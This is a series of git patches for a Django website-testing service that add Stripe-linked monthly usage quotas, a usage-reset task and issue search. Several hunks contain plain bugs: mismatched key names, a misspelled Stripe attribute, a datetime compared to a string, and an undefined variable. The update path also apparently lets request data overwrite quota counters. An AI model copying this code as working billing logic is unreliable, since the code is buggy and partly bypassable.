-            # except Exception as e:
-            #     print(e)
+                print(e)
 
         # testing YL
         if 'yellowlab' in self.test.type or 'full' in self.test.type:
@@ -854,6 +857,7 @@ def run_test(self, index: int=None) -> object:
                 else:
                     delta_yl_w = 1
             except Exception as e:
+                delta_yl_w = 0
                 print(e)
 
         # testing images
@@ -867,7 +871,8 @@ def run_test(self, index: int=None) -> object:
                 # weights
                 images_w = 4
             except Exception as e:
-                    print(e)
+                images_w = 0
+                print(e)
         
         # calculating total weight
         total_w = (

From aa46e2b36324841150785f000c7ac2c4fdc83006 Mon Sep 17 00:00:00 2001
From: Landon <landon@greylabs.io>
Date: Thu, 8 Aug 2024 12:43:04 -0600
Subject: [PATCH 0638/1099] adding resource usage monitoring

---
 app/api/models.py              |  14 ++++
 app/api/tasks.py               |  21 +++++
 app/api/v1/auth/serializers.py |   2 +-
 app/api/v1/auth/services.py    |  34 +++++++-
 app/api/v1/billing/services.py | 105 ++++++++++++++++++++++---
 app/api/v1/ops/services.py     | 138 ++++++++++++++++++++++++++++-----
 6 files changed, 284 insertions(+), 30 deletions(-)

diff --git a/app/api/models.py b/app/api/models.py
index 3620dc69..5d6f6312 100644
--- a/app/api/models.py
+++ b/app/api/models.py
@@ -259,6 +259,19 @@ def get_default_configs():
 
 
 
+def get_usage_default():
+    usage = {
+        'scans': 0,
+        'tests': 0,
+        'testcases': 0,
+        'scans_allowed': 30, 
+        'tests_allowed': 30, 
+        'testcases_allowed': 15,
+    }
+
+
+
+
 class Account(models.Model):
     id = models.UUIDField(primary_key=True, default=uuid.uuid4, editable=False)
     name = models.CharField(max_length=1000, serialize=True, null=True, blank=True)
@@ -279,6 +292,7 @@ class Account(models.Model):
     price_id = models.CharField(max_length=1000, serialize=True, null=True, blank=True)
     price_amount = models.IntegerField(serialize=True, null=True, blank=True, default=0)
     interval = models.CharField(max_length=50, serialize=True, null=True, blank=True, default='month')
+    usage = models.JSONField(serialize=True, null=True, blank=True, default=get_usage_default)
     slack = models.JSONField(serialize=True, null=True, blank=True, default=get_slack_default)
     configs = models.JSONField(serialize=True, null=True, blank=True, default=get_default_configs)
     meta = models.JSONField(serialize=True, null=True, blank=True)
diff --git a/app/api/tasks.py b/app/api/tasks.py
index 637c8499..b56fe628 100644
--- a/app/api/tasks.py
+++ b/app/api/tasks.py
@@ -14,6 +14,7 @@
     _yellowlab
 )
 from .utils.alerts import send_invite_link, send_remove_alert
+from .v1.billing.services import reset_account_usage
 from .models import *
 from django.contrib.auth.models import User
 from django.utils import timezone
@@ -1050,6 +1051,26 @@ def create_testcase_bg(
 
 
 
+@shared_task
+def reset_account_usage_bg(account_id: str=None):
+    """ 
+    Loops through each active `Account`, checks to see
+    if timezone.today() is the start of the 
+    next billing cycle, and resets `Account.usage`
+
+    Expcets: {
+        'account_id': <str> (OPTIONAL)
+    }
+
+    Returns: None
+    """
+    # running method from billing.services
+    reset_account_usage(account_id)
+    return None
+
+
+
+
 @shared_task
 def delete_old_resources(account_id: str=None, days_to_live: int=30) -> None:
     """ 
diff --git a/app/api/v1/auth/serializers.py b/app/api/v1/auth/serializers.py
index 9d9815a8..6daf0efb 100644
--- a/app/api/v1/auth/serializers.py
+++ b/app/api/v1/auth/serializers.py
@@ -83,7 +83,7 @@ class Meta:
         'cust_id', 'sub_id', 'product_id', 'price_id', 'slack',
         'user', 'code', 'name', 'price_amount', 'max_sites', 
         'max_pages', 'max_schedules', 'testcases', 'retention_days',
-        'configs', 'meta'
+        'configs', 'meta', 'usage',
         ]
 
 
diff --git a/app/api/v1/auth/services.py b/app/api/v1/auth/services.py
index 2cac5907..1512eb9d 100644
--- a/app/api/v1/auth/services.py
+++ b/app/api/v1/auth/services.py
@@ -627,6 +627,12 @@ def create_or_update_account(request: object=None, *args, **kwargs) -> object:
         sub_id = request.data.get('sub_id')
         product_id = request.data.get('product_id')
         price_id = request.data.get('price_id')
+        scans_allowed = request.data.get('scans_allowed')
+        tests_allowed = request.data.get('tests_allowed')
+        testcases_allowed = request.data.get('testcases_allowed')
+        scans = request.data.get('scans')
+        tests = request.data.get('tests')
+        testcases = request.data.get('testcases')
         slack = request.data.get('slack')
         configs = request.data.get('configs')
         user = request.user
@@ -648,6 +654,12 @@ def create_or_update_account(request: object=None, *args, **kwargs) -> object:
         sub_id = kwargs.get('sub_id')
         product_id = kwargs.get('product_id')
         price_id = kwargs.get('price_id')
+        scans_allowed = kwargs.get('scans_allowed')
+        tests_allowed = kwargs.get('tests_allowed')
+        testcases_allowed = kwargs.get('testcases_allowed')
+        scans = kwargs.get('scans')
+        tests = kwargs.get('tests')
+        testcases = kwargs.get('testcases')
         slack = kwargs.get('slack')
         configs = kwargs.get('configs')
         user_id = kwargs.get('user')
@@ -690,6 +702,18 @@ def create_or_update_account(request: object=None, *args, **kwargs) -> object:
             account.product_id = product_id
         if price_id is not None:
             account.price_id = price_id
+        if scans_allowed is not None:
+            account.usage['scans_allowed'] = scans_allowed
+        if tests_allowed is not None:
+            account.usage['tests_allowed'] = tests_allowed
+        if testcases_allowed is not None:
+            account.usage['testcases_allowed'] = testcases_allowed
+        if scans is not None:
+            account.usage['scans'] = scans
+        if tests is not None:
+            account.usage['tests'] = tests
+        if testcases is not None:
+            account.usage['testcases'] = testcases
         if slack is not None:
             account.slack = slack
         if configs is not None:
@@ -721,7 +745,15 @@ def create_or_update_account(request: object=None, *args, **kwargs) -> object:
             cust_id=cust_id,
             sub_id=sub_id,
             product_id=product_id,
-            price_id=price_id
+            price_id=price_id,
+            usage={
+                'scans': 0,
+                'tests': 0,
+                'testcases': 0,
+                'scans_allowed': scans_allowed if scans_allowed is not None else 30, 
+                'tests_allowed': tests_allowed if tests_allowed is not None else 30, 
+                'testcases_allowed': testcases_allowed if testcases_allowed is not None else 15,
+            },
         )
     
     # serialize and return
diff --git a/app/api/v1/billing/services.py b/app/api/v1/billing/services.py
index cc800fc9..0364d8d9 100644
--- a/app/api/v1/billing/services.py
+++ b/app/api/v1/billing/services.py
@@ -2,6 +2,7 @@
 from rest_framework import status
 from django.contrib.auth.models import User
 from django.core import serializers
+from datetime import date, datetime
 from ...models import Account, Card, Site
 from ..ops.services import delete_site
 from ..auth.services import create_or_update_account
@@ -14,6 +15,7 @@
 
 
 
+
 # init Stripe client
 stripe.api_key = settings.STRIPE_PRIVATE
 
@@ -27,15 +29,18 @@ def stripe_setup(request: object) -> object:
     "user" and `Account`
 
     Expects: {
-        'name'           : <str> 'basic', 'pro', 'plus', 'custom' (OPTIONAL)
-        'interval'       : <str> 'month' or 'year' (OPTIONAL)
-        'price_amount'   : <int> 1000 == $10 (OPTIONAL)
-        'max_sites'      : <int> total # `Sites` per `Account` (OPTIONAL)
-        'max_pages'      : <int> total # `Pages` per `Site` (OPTIONAL)
-        'max_schedules'  : <int> total # `Schedules` per `Account` (OPTIONAL)
-        'retention_days' : <int> total # days to keep data (OPTIONAL)
-        'testcases'      : <str> 'true' or 'false' (OPTIONAL)
-        'meta'           : <dict> any extra data for the account (OPTIONAL)
+        'name'              : <str> 'basic', 'pro', 'plus', 'custom' (REQUIRED)
+        'interval'          : <str> 'month' or 'year' (REQUIRED)
+        'price_amount'      : <int> 1000 == $10 (REQUIRED)
+        'max_sites'         : <int> total # `Sites` per `Account` (REQUIRED)
+        'max_pages'         : <int> total # `Pages` per `Site` (REQUIRED)
+        'max_schedules'     : <int> total # `Schedules` per `Account` (REQUIRED)
+        'retention_days'    : <int> total # days to keep data (REQUIRED)
+        'testcases'         : <str> 'true' or 'false' (OPTIONAL)
+        'scans_allowed'     : <int> total # of `Scans` per `Account` per month (OPTIONAL)
+        'tests_allowed'     : <int> total # of `Tests` per `Account` per month (OPTIONAL)
+        'testcases_allowed' : <int> total # of `Testcases` per `Account` per month (OPTIONAL)
+        'meta'              : <dict> any extra data for the account (OPTIONAL)
     }
     
     Returns -> data: {
@@ -53,6 +58,9 @@ def stripe_setup(request: object) -> object:
     max_schedules = int(request.data.get('max_schedules'))
     retention_days = int(request.data.get('retention_days'))
     testcases = str(request.data.get('testcases', 'False'))
+    scans_allowed = int(request.data.get('scans_allowed'))
+    tests_allowed = int(request.data.get('tests_allowed'))
+    testcases_allowed = int(request.data.get('testcases_allowed'))
     meta = request.data.get('meta')
     
     # get user
@@ -82,6 +90,14 @@ def stripe_setup(request: object) -> object:
             max_schedules=max_schedules,
             retention_days=retention_days,
             testcases=testcases, 
+            usage={
+                'scans': 0,
+                'tests': 0,
+                'testcases': 0,
+                'scans_allowed': scans_allowed if scans_allowed is not None else 30, 
+                'tests_allowed': tests_allowed if tests_allowed is not None else 30, 
+                'testcases_allowed': testcases_allowed if testcases_allowed is not None else 15,
+            },
             meta=meta
         )
 
@@ -142,7 +158,8 @@ def stripe_setup(request: object) -> object:
         stripe.Price.modify(account.price_id, active=False)
 
     # update `Account` with new Stripe info
-    Account.objects.filter(user=user).update(
+    create_or_update_account(
+        id=account.id,
         type = name,
         cust_id = customer.id,
         sub_id = subscription.id,
@@ -155,6 +172,9 @@ def stripe_setup(request: object) -> object:
         max_schedules = max_schedules,
         retention_days = retention_days,
         testcases = testcases,
+        scans_allowed = scans_allowed,
+        tests_allowed = tests_allowed,
+        testcases_allowed = testcases_allowed,
         meta = meta
     )        
 
@@ -392,6 +412,14 @@ def cancel_subscription(request: object) -> object:
         account.interval = 'month'
         account.price_amount = 0
         account.testcases = False
+        account.usage = {
+            'scans': 0,
+            'tests': 0,
+            'testcases': 0,
+            'scans_allowed': 30, 
+            'tests_allowed': 30, 
+            'testcases_allowed': 15,
+        }
 
         # save Account
         account.save()
@@ -460,3 +488,60 @@ def get_stripe_invoices(request: object) -> object:
 
 
 
+
+def reset_account_usage(account_id: str=None) -> None:
+    """ 
+    Loops through each active `Account`, checks to see
+    if timezone.today() is the start of the 
+    next billing cycle, and resets `Account.usage`
+
+    Expcets: {
+        'account_id': <str> (OPTIONAL)
+    }
+
+    Returns: None
+    """
+
+    # check for account_id
+    if account_id is not None:
+        accounts = [Account.objects.get(id=account_id)]
+    else:
+        # get all active accounts
+        accounts = Account.objects.filter(active=True)
+
+    # loop through each
+    for account in accounts:
+
+        # check if account is active and not free
+        if account.active and account.type != 'free':
+                
+            # get current date
+            today = datetime.today().strftime('%Y-%m-%d')
+            print(f'today -> {today}')
+
+            # get stripe sub
+            sub = stripe.Subscription.retrieve(
+                account.sub_id
+            )
+
+            # get and formate sub.current_peroid_start
+            sub_date = datetime.fromtimestamp(
+                sub.current_peroid_start
+            ).strftime('%Y-%m-%d')
+            print(f'sub_date -> {today}')
+
+            # reset accout usage if today is 
+            # begining of sub payment peroid
+            if today == sub_date:
+                
+                # reset account.ussage
+                create_or_update_account(
+                    id=account.id,
+                    scans=0,
+                    tests=0,
+                    testcases=0
+                )
+
+    return None
+
+
diff --git a/app/api/v1/ops/services.py b/app/api/v1/ops/services.py
index 3098aacd..ccd5fdb0 100644
--- a/app/api/v1/ops/services.py
+++ b/app/api/v1/ops/services.py
@@ -72,12 +72,13 @@ def check_account_and_resource(
         request: object=None, 
         user: object=None, 
         resource: str=None, 
-        action: str=None,
+        action: str='get',
         **kwargs
     ) -> dict:
     """ 
     Based on the passed "resource" & kwargs, checks to see 
-    if account is allowed to add/get a "resource".
+    if account is allowed to add/get a "resource". 
+    Also increments the `Account.usage` for the specified resource.
 
     Expects: {
         'request'   : object, 
@@ -158,7 +159,7 @@ def check_account_and_resource(
                         current_count = Page.objects.filter(account=account, site__id=site_id).count()
                         if current_count >= account.max_pages and action == 'add':
                             allowed = False
-                            error = 'max pages reached, please upgrade'
+                            error = 'max pages reached'
                             _status = status.HTTP_402_PAYMENT_REQUIRED
                             code = '402'
             if page_id:
@@ -178,9 +179,9 @@ def check_account_and_resource(
         if resource == 'site':
             if not site_id:
                 current_count = Site.objects.filter(account=account).count()
-                if current_count >= account.max_sites and action == 'add':
+                if current_count >= account.max_sites and action == 'add' and (account.type != 'custom' and account.type != 'enterprise'):
                     allowed = False
-                    error = 'max sites reached, please upgrade'
+                    error = 'max sites reached'
                     _status = status.HTTP_402_PAYMENT_REQUIRED
                     code = '402'
             if site_id:
@@ -200,9 +201,9 @@ def check_account_and_resource(
         if resource == 'schedule':
             if not schedule_id:
                 current_count = Schedule.objects.filter(account=account).count()
-                if current_count >= account.max_schedules and action == 'add':
+                if current_count >= account.max_schedules and action == 'add' and (account.type != 'custom' and account.type != 'enterprise'):
                     allowed = False
-                    error = 'max schedules reached, please upgrade'
+                    error = 'max schedules reached'
                     _status = status.HTTP_402_PAYMENT_REQUIRED
                     code = '402'
                 if page_id:
@@ -247,12 +248,18 @@ def check_account_and_resource(
         
         # checking testcases
         if resource == 'testcase':
-            if not testcase_id:
+            if not testcase_id and action == 'add':
                 if not account.testcases:
                     allowed = False
                     error = 'testcases not allowed, please upgrade'
                     _status = status.HTTP_402_PAYMENT_REQUIRED
                     code = '402'
+                else:
+                    if not check_and_increment_resource(account, 'testcases'):
+                        allowed = False
+                        error = 'max testcases reached'
+                        _status = status.HTTP_402_PAYMENT_REQUIRED
+                        code = '402'
             if testcase_id:
                 if not Testcase.objects.filter(id=testcase_id, account=account).exists():
                     allowed = False
@@ -310,6 +317,12 @@ def check_account_and_resource(
         
         # checking scans
         if resource == 'scan':
+            if not scan_id and action == 'add':
+                if not check_and_increment_resource(account, 'scan'):
+                    allowed = False
+                    error = 'max scans reached'
+                    _status = status.HTTP_402_PAYMENT_REQUIRED
+                    code = '402'
             if scan_id:
                 if not Scan.objects.filter(id=scan_id, page__account=account).exists():
                     allowed = False
@@ -319,6 +332,12 @@ def check_account_and_resource(
         
         # checking tests
         if resource == 'test':
+            if not test_id and action == 'add':
+                if not check_and_increment_resource(account, 'test'):
+                    allowed = False
+                    error = 'max tests reached'
+                    _status = status.HTTP_402_PAYMENT_REQUIRED
+                    code = '402'
             if test_id:
                 if not Test.objects.filter(id=test_id, page__account=account).exists():
                     allowed = False
@@ -370,6 +389,36 @@ def check_account_and_resource(
 
 
 
+
+    def check_and_increment_resource(account: object, resource: str) -> bool:
+        """ 
+        Adds 1 to the Account.usage.{resource} if 
+        {resource}_allowed has not been reached.
+
+        Expcets: {
+            'account'  : <object>,
+            'resource' : <str> 'scan', 'test', or 'testcase
+        }
+
+        Returns: Bool, True if resource was incremented.
+        """
+
+        # define defaults
+        success = False
+
+        # check allowance
+        if (int(account.usage[resource]) + 1) <= int(account.usage[f'{resource}s_allowed']):
+            
+            # increment and update success
+            account.usage[resource] = 1 + int(account.usage[resource])
+            account.save()
+            success = True
+
+        # return response
+        return success
+
+
+
     
 ### ------ Begin Site Services ------ ###
 
@@ -1382,7 +1431,7 @@ def create_scan(request: object=None, delay: bool=False, **kwargs) -> object:
     # deciding on scope
     resource = 'site' if site_id else 'page'
 
-    # check account and resource 
+    # check account and resource for site or page
     check_data = check_account_and_resource(
         user=user, resource=resource, page_id=page_id, site_id=site_id
     )
@@ -1416,6 +1465,22 @@ def create_scan(request: object=None, delay: bool=False, **kwargs) -> object:
     # looping through each page
     for p in pages:
 
+        # check for account usage
+        check_data = check_account_and_resource(
+            user=user, action='add', resource='scan'
+        )
+        if not check_data['allowed']:
+            data = {
+                'reason': check_data['error'], 
+                'success': False, 
+                'code': check_data['code'], 
+                'status': check_data['status']
+            }
+            if request is not None:
+                record_api_call(request, data, check_data['code'])
+                return Response(data, status=check_data['status'])
+            return data
+
         # creating scan obj
         created_scan = Scan.objects.create(
             site=p.site,
@@ -1971,7 +2036,7 @@ def create_test(request: object=None, delay: bool=False, **kwargs) -> object:
     # deciding on scope
     resource = 'site' if site_id else 'page'
 
-    # check account and resource 
+    # check account and resource for page or site
     check_data = check_account_and_resource(
         user=user, resource=resource, page_id=page_id, site_id=site_id
     )
@@ -2005,6 +2070,22 @@ def create_test(request: object=None, delay: bool=False, **kwargs) -> object:
     # looping through pages
     for p in pages:
 
+        # check for account usage
+        check_data = check_account_and_resource(
+            user=user, action='add', resource='test'
+        )
+        if not check_data['allowed']:
+            data = {
+                'reason': check_data['error'], 
+                'success': False, 
+                'code': check_data['code'], 
+                'status': check_data['status']
+            }
+            if request is not None:
+                record_api_call(request, data, check_data['code'])
+                return Response(data, status=check_data['status'])
+            return data
+
         # checking for scan completion
         if not Scan.objects.filter(page=p).exists():
             data = {'reason': 'Page not yet onboarded', 'success': False,}
@@ -4432,7 +4513,7 @@ def create_testcase(request: object, delay: bool=False) -> object:
     # checking account and resource 
     check_data = check_account_and_resource(
         request=request, resource='testcase', 
-        case_id=case_id, site_id=site_id
+        case_id=case_id, site_id=site_id, action='add',
     )
     if not check_data['allowed']:
         data = {'reason': check_data['error'],}
@@ -4941,7 +5022,7 @@ def search_resources(request: object) -> object:
     pages = []
     sites = []
 
-    # check for object specification i.e 'site: or case:'
+    # check for object specification i.e 'site:', 'case:', 'issue:'
     resource_type = query.replace('https://', '').replace('http://', '').split(':')[0]
     query = query.replace('https://', '').replace('http://', '').split(':')[-1]
 
@@ -4963,9 +5044,16 @@ def search_resources(request: object) -> object:
             name__icontains=query
         )
 
-    # adding first 5 sites if present
+    # search for issues
+    if resource_type == 'issue' or resource_type == query:
+        issues = Issue.objects.filter(account=account).filter(
+            name__icontains=query
+        )
+
+    # adding first several sites if present
     i = 0
-    while i <= 3 and i <= (len(sites)-1):
+    max_sites = 10 if resource_type == 'site' else 3
+    while i <= max_sites and i <= (len(sites)-1):
         data.append({
             'name': str(sites[i].site_url),
             'path': f'/site/{sites[i].id}',
@@ -4974,9 +5062,10 @@ def search_resources(request: object) -> object:
         })
         i+=1
     
-    # adding first 5 pages if present
+    # adding first several pages if present
     i = 0
-    while i <= 4 and i <= (len(pages)-1):
+    max_pages = 10 if resource_type == 'page' else 3
+    while i <= max_pages and i <= (len(pages)-1):
         data.append({
             'name': str(pages[i].page_url),
             'path': f'/page/{pages[i].id}',
@@ -4985,9 +5074,10 @@ def search_resources(request: object) -> object:
         })
         i+=1
     
-    # adding first 5 cases if present
+    # adding first several cases if present
     i = 0
-    while i <= 4 and i <= (len(cases)-1):
+    max_cases = 10 if resource_type == 'case' else 3
+    while i <= max_cases and i <= (len(cases)-1):
         data.append({
             'name': str(cases[i].name),
             'path': f'/case/{cases[i].id}',
@@ -4996,6 +5086,18 @@ def search_resources(request: object) -> object:
         })
         i+=1
     
+    # adding first several issues if present
+    i = 0
+    max_issues = 10 if resource_type == 'issue' else 3
+    while i <= max_issues and i <= (len(issues)-1):
+        data.append({
+            'name': str(issues[i].title),
+            'path': f'/issue/{issue[i].id}',
+            'id'  : str(issues[i].id),
+            'type': 'issue',
+        })
+        i+=1
+    
     # return response
     response = Response(data, status=status.HTTP_200_OK)
     return response

From 18acd3359a0949d2ef3100177a9236fdba578dfc Mon Sep 17 00:00:00 2001
From: Landon <landon@greylabs.io>
Date: Fri, 9 Aug 2024 14:44:45 -0600
Subject: [PATCH 0639/1099] updating billing and usage data

---
 app/api/models.py              |   2 +-
 app/api/tasks.py               | 224 ++++++++++++++++++++++++---------
 app/api/v1/auth/serializers.py |   4 +-
 app/api/v1/auth/services.py    |  10 +-
 app/api/v1/billing/services.py |  82 +++---------
 app/api/v1/ops/services.py     | 181 +++++++++++++++-----------
 6 files changed, 307 insertions(+), 196 deletions(-)

diff --git a/app/api/models.py b/app/api/models.py
index 5d6f6312..df81e99f 100644
--- a/app/api/models.py
+++ b/app/api/models.py
@@ -285,9 +285,9 @@ class Account(models.Model):
     max_pages = models.IntegerField(serialize=True, null=True, blank=True, default=3)
     max_schedules = models.IntegerField(serialize=True, null=True, blank=True, default=0)
     retention_days = models.IntegerField(serialize=True, null=True, blank=True, default=3)
-    testcases = models.BooleanField(default=False, serialize=False)
     cust_id = models.CharField(max_length=1000, serialize=True, null=True, blank=True)
     sub_id = models.CharField(max_length=1000, serialize=True, null=True, blank=True)
+    sub_url = models.CharField(max_length=1000, serialize=True, null=True, blank=True)
     product_id = models.CharField(max_length=1000, serialize=True, null=True, blank=True)
     price_id = models.CharField(max_length=1000, serialize=True, null=True, blank=True)
     price_amount = models.IntegerField(serialize=True, null=True, blank=True, default=0)
diff --git a/app/api/tasks.py b/app/api/tasks.py
index b56fe628..a0e34f9d 100644
--- a/app/api/tasks.py
+++ b/app/api/tasks.py
@@ -14,13 +14,12 @@
     _yellowlab
 )
 from .utils.alerts import send_invite_link, send_remove_alert
-from .v1.billing.services import reset_account_usage
 from .models import *
 from django.contrib.auth.models import User
 from django.utils import timezone
 from datetime import datetime, timedelta
 from scanerr import settings
-import asyncio, boto3, time, requests, json
+import asyncio, boto3, time, requests, json, stripe
 
 
 
@@ -55,6 +54,36 @@ class BaseTaskWithRetry(Task):
 
 
 
+def check_and_increment_resource(account: object, resource: str) -> bool:
+    """ 
+    Adds 1 to the Account.usage.{resource} if 
+    {resource}_allowed has not been reached.
+
+    Expcets: {
+        'account'  : <object>,
+        'resource' : <str> 'scan', 'test', or 'testcase
+    }
+
+    Returns: Bool, True if resource was incremented.
+    """
+
+    # define defaults
+    success = False
+
+    # check allowance
+    if (int(account.usage[f'{resource}']) + 1) <= int(account.usage[f'{resource}_allowed']):
+        
+        # increment and update success
+        account.usage[f'{resource}'] = 1 + int(account.usage[f'{resource}'])
+        account.save()
+        success = True
+
+    # return response
+    return success
+
+
+
+
 @shared_task(bind=True, base=BaseTaskWithRetry)
 def create_site_and_pages_bg(self, site_id: str=None, configs: dict=settings.CONFIGS) -> None:
     """ 
@@ -89,25 +118,28 @@ def create_site_and_pages_bg(self, site_id: str=None, configs: dict=settings.CON
                 user=site.user,
                 account=site.account,
             )
-            
-            # create initial scan
-            scan = Scan.objects.create(
-                site=site,
-                page=page, 
-                type=['html', 'logs', 'vrt', 'lighthouse', 'yellowlab'],
-                configs=configs
-            )
-            
-            # run each scan component in parallel
-            run_html_and_logs_bg.delay(scan_id=scan.id)
-            run_lighthouse_bg.delay(scan_id=scan.id)
-            run_yellowlab_bg.delay(scan_id=scan.id)
-            run_vrt_bg.delay(scan_id=scan.id)
-            
-            # update page info 
-            page.info["latest_scan"]["id"] = str(scan.id)
-            page.info["latest_scan"]["time_created"] = str(scan.time_created)
-            page.save()
+
+            # check resouce allowance
+            if check_and_increment_resource(site.account, 'scans'):
+
+                # create initial scan
+                scan = Scan.objects.create(
+                    site=site,
+                    page=page, 
+                    type=['html', 'logs', 'vrt', 'lighthouse', 'yellowlab'],
+                    configs=configs
+                )
+                
+                # run each scan component in parallel
+                run_html_and_logs_bg.delay(scan_id=scan.id)
+                run_lighthouse_bg.delay(scan_id=scan.id)
+                run_yellowlab_bg.delay(scan_id=scan.id)
+                run_vrt_bg.delay(scan_id=scan.id)
+                
+                # update page info 
+                page.info["latest_scan"]["id"] = str(scan.id)
+                page.info["latest_scan"]["time_created"] = str(scan.time_created)
+                page.save()
 
     # updating site status
     site.time_crawl_completed = timezone.now()
@@ -166,21 +198,25 @@ def crawl_site_bg(self, site_id: str=None, configs: dict=settings.CONFIGS) -> No
                 user=site.user,
                 account=site.account,
             )
-            # create initial scan
-            scan = Scan.objects.create(
-                site=site,
-                page=page, 
-                type=['html', 'logs', 'vrt', 'lighthouse', 'yellowlab'],
-                configs=configs
-            )
-            # run each scan component in parallel
-            run_html_and_logs_bg.delay(scan_id=scan.id)
-            run_lighthouse_bg.delay(scan_id=scan.id)
-            run_yellowlab_bg.delay(scan_id=scan.id)
-            run_vrt_bg.delay(scan_id=scan.id)
-            page.info["latest_scan"]["id"] = str(scan.id)
-            page.info["latest_scan"]["time_created"] = str(scan.time_created)
-            page.save()
+
+            # check resouce allowance
+            if check_and_increment_resource(site.account, 'scans'):
+
+                # create initial scan
+                scan = Scan.objects.create(
+                    site=site,
+                    page=page, 
+                    type=['html', 'logs', 'vrt', 'lighthouse', 'yellowlab'],
+                    configs=configs
+                )
+                # run each scan component in parallel
+                run_html_and_logs_bg.delay(scan_id=scan.id)
+                run_lighthouse_bg.delay(scan_id=scan.id)
+                run_yellowlab_bg.delay(scan_id=scan.id)
+                run_vrt_bg.delay(scan_id=scan.id)
+                page.info["latest_scan"]["id"] = str(scan.id)
+                page.info["latest_scan"]["time_created"] = str(scan.time_created)
+                page.save()
 
     # updating site status
     site.time_crawl_completed = timezone.now()
@@ -321,13 +357,16 @@ def create_scan_bg(self, *args, **kwargs) -> None:
 
     # creating scans for each page
     for page in pages:
-        create_scan.delay(
-            page_id=page.id,
-            type=type,
-            configs=configs,
-            tags=tags,
-            automation_id=automation_id
-        )
+
+        # check resource 
+        if check_and_increment_resource(page.account, 'scans'):
+            create_scan.delay(
+                page_id=page.id,
+                type=type,
+                configs=configs,
+                tags=tags,
+                automation_id=automation_id
+            )
     
     logger.info('created new Scans')
     return None
@@ -593,16 +632,21 @@ def create_test_bg(self, *args, **kwargs) -> None:
 
         # create a test for each page
         for page in pages:
-            create_test.delay(
-                page_id=page.id,
-                type=type,
-                configs=configs,
-                tags=tags,
-                threshold=float(threshold),
-                pre_scan=pre_scan,
-                post_scan=post_scan,
-                automation_id=automation_id
-            )
+
+            # check resource 
+            if check_and_increment_resource(page.account, 'tests'):
+
+                # create test
+                create_test.delay(
+                    page_id=page.id,
+                    type=type,
+                    configs=configs,
+                    tags=tags,
+                    threshold=float(threshold),
+                    pre_scan=pre_scan,
+                    post_scan=post_scan,
+                    automation_id=automation_id
+                )
     
     # get test and run 
     if test_id is not None:
@@ -1052,7 +1096,7 @@ def create_testcase_bg(
 
 
 @shared_task
-def reset_account_usage_bg(account_id: str=None):
+def reset_account_usage(account_id: str=None) -> None:
     """ 
     Loops through each active `Account`, checks to see
     if timezone.today() is the start of the 
@@ -1064,13 +1108,81 @@ def reset_account_usage_bg(account_id: str=None):
 
     Returns: None
     """
-    # running method from billing.services
-    reset_account_usage(account_id)
+
+    # init Stripe client
+    stripe.api_key = settings.STRIPE_PRIVATE
+
+    # check for account_id
+    if account_id is not None:
+        accounts = [Account.objects.get(id=account_id)]
+    else:
+        # get all active accounts
+        accounts = Account.objects.filter(active=True)
+
+    # get current date
+    today = datetime.today()
+    today_str = today.strftime('%Y-%m-%d')
+    print(f'today -> {today_str}')
+
+    # reset account.ussage
+    def reset_usage(account):
+        account.usage['scans'] = 0
+        account.usage['tests'] = 0
+        account.usage['testcases'] = 0
+        account.save()
+
+    # loop through each
+    for account in accounts:
+
+        # check if account is active and not free
+        if account.active and account.type != 'free':
+                
+            # get stripe sub
+            sub = stripe.Subscription.retrieve(
+                account.sub_id
+            )
+
+            # get and formate sub.current_peroid_start
+            sub_date = datetime.fromtimestamp(
+                sub.current_peroid_start
+            ).strftime('%Y-%m-%d')
+            print(f'sub_date -> {sub_date}')
+
+            # reset accout usage if today is 
+            # begining of sub payment peroid
+            # OR if a specific account was requested
+            if today == sub_date or account_id is not None:
+                reset_usage(account)
+
+        # check if accout is free
+        if account.type == 'free':
+
+            # get last usage reset date from meta
+            last_usage_date_str = account.meta.get('last_usage_reset')
+            if last_usage_date_str is not None:
+
+                # format date str as datetime obj
+                f = '%Y-%m-%d %H:%M:%S'
+                last_usage_date = datetime.strptime(last_usage_date_str, f)
+
+                print(f'days since last reset -> {abs(today - last_usage_date)}')
+
+                # check if over 30 days
+                if abs(today - last_usage_date) >= 30:
+                    reset_usage(account)
+
+                # udpate account.meta.last_usage_reset
+                account.meta['last_usage_reset'] = today.strftime(f)
+                account.save()
+    
     return None
 
 
 
 
+
+
+
 @shared_task
 def delete_old_resources(account_id: str=None, days_to_live: int=30) -> None:
     """ 
diff --git a/app/api/v1/auth/serializers.py b/app/api/v1/auth/serializers.py
index 6daf0efb..0dddbb2e 100644
--- a/app/api/v1/auth/serializers.py
+++ b/app/api/v1/auth/serializers.py
@@ -80,9 +80,9 @@ class AccountSerializer(serializers.HyperlinkedModelSerializer):
     class Meta:
         model = Account
         fields = ['id', 'active', 'time_created', 'type', 'phone', 
-        'cust_id', 'sub_id', 'product_id', 'price_id', 'slack',
+        'cust_id', 'sub_id', 'sub_url', 'product_id', 'price_id', 'slack',
         'user', 'code', 'name', 'price_amount', 'max_sites', 
-        'max_pages', 'max_schedules', 'testcases', 'retention_days',
+        'max_pages', 'max_schedules', 'retention_days',
         'configs', 'meta', 'usage',
         ]
 
diff --git a/app/api/v1/auth/services.py b/app/api/v1/auth/services.py
index 1512eb9d..5bdc2e44 100644
--- a/app/api/v1/auth/services.py
+++ b/app/api/v1/auth/services.py
@@ -622,7 +622,6 @@ def create_or_update_account(request: object=None, *args, **kwargs) -> object:
         max_pages = request.data.get('max_pages')
         max_schedules = request.data.get('max_schedules')
         retention_days = request.data.get('retention_days')
-        testcases = request.data.get('testcases')
         cust_id = request.data.get('cust_id')
         sub_id = request.data.get('sub_id')
         product_id = request.data.get('product_id')
@@ -635,6 +634,7 @@ def create_or_update_account(request: object=None, *args, **kwargs) -> object:
         testcases = request.data.get('testcases')
         slack = request.data.get('slack')
         configs = request.data.get('configs')
+        meta = request.data.get('meta')
         user = request.user
 
     # get kwargs data
@@ -649,7 +649,6 @@ def create_or_update_account(request: object=None, *args, **kwargs) -> object:
         max_pages = kwargs.get('max_pages')
         max_schedules = kwargs.get('max_schedules')
         retention_days = kwargs.get('retention_days')
-        testcases = kwargs.get('testcases')
         cust_id = kwargs.get('cust_id')
         sub_id = kwargs.get('sub_id')
         product_id = kwargs.get('product_id')
@@ -662,6 +661,7 @@ def create_or_update_account(request: object=None, *args, **kwargs) -> object:
         testcases = kwargs.get('testcases')
         slack = kwargs.get('slack')
         configs = kwargs.get('configs')
+        meta = kwargs.get('meta')
         user_id = kwargs.get('user')
         user = User.objects.get(id=user_id)
 
@@ -692,8 +692,6 @@ def create_or_update_account(request: object=None, *args, **kwargs) -> object:
             account.max_schedules = max_schedules
         if retention_days is not None:
             account.retention_days = retention_days
-        if testcases is not None:
